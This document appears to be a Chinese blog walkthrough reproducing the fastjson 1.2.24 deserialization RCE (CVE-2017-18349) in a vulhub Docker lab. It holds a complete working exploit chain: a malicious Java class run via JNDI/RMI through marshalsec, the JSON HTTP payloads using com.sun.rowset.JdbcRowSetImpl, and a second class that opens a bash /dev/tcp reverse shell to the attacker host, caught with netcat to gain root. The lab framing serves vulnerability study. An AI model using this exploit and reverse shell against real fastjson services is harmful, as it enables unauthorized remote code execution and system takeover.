- fastjson 1.2.24 反序列化 RCE 漏洞复现(CVE-2017-18349)
- 前置环境
- 漏洞环境搭建
- 漏洞复现
- 获取webshell
前置环境fastjson 1.2.24 反序列化导致任意命令执行漏洞
- kali虚拟机,安装好docker,docker-compose
- 宿主机,安装配置好java,python环境
- 虚拟机用NAT网卡模式,可以与宿主机互相通信(可以ping通)
- 在kali虚拟机中,利用vulhub的docker镜像快速搭建。
- 下载
git clone https://github.com/vulhub/vulhub
或者直接下载zip文件 - 进入vulhub文件目录, 再
cd fastjson/1.2.24-rce
- 启动docker镜像,
sudo docker-compose up -d
,启动好输入sudo docker ps
,看是否成功启动
- 安装好后,输入
ifconfig
指令,查看虚拟机ip,此时在宿主机访问http://虚拟机ip:8090
,可以看到json格式输出
都是在宿主机(攻击机)进行 *** 作。
- 使用
com.sun.rowset.JdbcRowSetImpl
的利用链,通过 JNDI 注入来执行命令 - 先编译上传命令执行代码,新建
TouchFile.java
// TouchFile.java
// cmd run javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
-
打开终端cmd执行
javac TouchFile.java
编译,此时生成TouchFile.class
文件 -
利用python快速启动临时web服务(ps.省事),
python -m http.server 8888
-
利用marshalsec工具(需要maven环境编译),或者直接下载
marshalsec-0.0.3-SNAPSHOT-all.jar
链接: https://pan.baidu.com/s/1pDaDDKWD1VmTAmlnQMB-6Q?pwd=rv7u 提取码: rv7u -
通过
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://宿主机ip:8888/#TouchFile 2335
启动RMI服务器,监听2335 端口,并指定加载远程类 TouchFile.class -
利用burpsuite向kali虚拟机靶场发送payload,带上RMI地址,可以看到上图的RMI服务已经发送了TouchFile
POST / HTTP/1.1
Host: 192.168.132.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.31.41:2335/TouchFile",
"autoCommit":true
}
}
- 进入虚拟机,
sudo docker ps
查看容器id,执行sudo docker exec -it a08916637ab9 bash
进入容器,执行ls /tmp
,查看到,我们成功创建了success文件
- 道理同上,创建
shell.java
,并执行javac shell.java
进行编译
import java.lang.Runtime;
import java.lang.Process;
public class shell{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/宿主机ip/19527;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
- 将marshalsec指定文件改成shell
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://宿主机ip:8888/#shell 2335
- 下载一个netcat,
https://eternallybored.org/misc/netcat/
,在本地监听19527端口。.\nc.exe -lvvp 19527
- 利用BurpSuite发送payload
POST / HTTP/1.1
Host: 192.168.132.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 163
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.31.41:2335/shell",
"autoCommit":true
}
}
- 成功获得root权限,执行
whoami
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)